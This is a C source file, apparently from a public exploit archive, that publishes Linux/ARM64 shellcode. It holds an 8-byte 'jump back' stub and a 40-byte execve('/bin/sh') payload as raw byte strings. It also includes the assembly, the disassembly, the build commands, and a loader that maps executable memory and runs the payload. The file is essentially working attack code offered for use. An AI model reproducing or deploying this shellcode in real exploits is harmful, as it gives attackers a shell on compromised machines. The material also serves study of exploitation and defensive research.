78 lines
No EOL
2 KiB
C
78 lines
No EOL
2 KiB
C
/*
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# Title: Linux/ARM64 - Jump Back Shellcode + execve("/bin/sh", NULL, NULL) Shellcode (8 Bytes)
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# Date: 2019-06-30
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# Tested: Ubuntu 16.04 (aarch64)
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# Author: Ken Kitahara
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# Compilation: gcc -o loader loader.c
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ubuntu@ubuntu:~/works$ lsb_release -a
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No LSB modules are available.
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Distributor ID: Ubuntu
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Description: Ubuntu Xenial Xerus (development branch)
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Release: 16.04
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Codename: xenial
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ubuntu@ubuntu:~/works$ uname -a
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Linux ubuntu 4.2.0-16-generic #19-Ubuntu SMP Thu Oct 8 15:00:45 UTC 2015 aarch64 aarch64 aarch64 GNU/Linux
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ubuntu@ubuntu:~/works$ cat jumpback.s
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.section .text
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.global _start
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_start:
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// Jump back to _start-0x30
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adr x10, .-0x30 // x10 = _start-0x30
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br x10 // Jump to _start-0x30
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ubuntu@ubuntu:~/works$ as -o jumpback.o jumpback.s && ld -o jumpback jumpback.o
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ubuntu@ubuntu:~/works$ objdump -d ./jumpback
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./jumpback: file format elf64-littleaarch64
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Disassembly of section .text:
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0000000000400078 <_start>:
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400078: 10fffe8a adr x10, 400048 <_start-0x30>
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40007c: d61f0140 br x10
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ubuntu@ubuntu:~/works$ objcopy -O binary jumpback jumpback.bin
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ubuntu@ubuntu:~/works$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' jumpback.bin && echo
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\x8a\xfe\xff\x10\x40\x01\x1f\xd6
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*/
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#include <stdio.h>
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#include <sys/mman.h>
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#include <string.h>
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#include <stdlib.h>
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int (*sc)();
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// Linux/ARM64 - execve("/bin/sh", NULL, NULL) Shellcode (40 Bytes)
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char shell[] =
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"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2"
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"\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b"
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"\xa8\x1b\x80\xd2\xe1\x66\x02\xd4";
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char jumpback[] =
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"\x8a\xfe\xff\x10\x40\x01\x1f\xd6";
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int main(int argc, char **argv) {
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printf("Shellcode Length: %zd Bytes\n", strlen(jumpback));
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void *ptr1 = mmap(0, 0x100, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
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void *ptr2;
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if (ptr1 == MAP_FAILED) {
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perror("mmap");
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exit(-1);
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}
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ptr2 = ptr1 + 0x30;
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memcpy(ptr1, shell, sizeof(shell));
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memcpy(ptr2, jumpback, sizeof(jumpback));
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sc = ptr2;
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sc();
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return 0;
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} |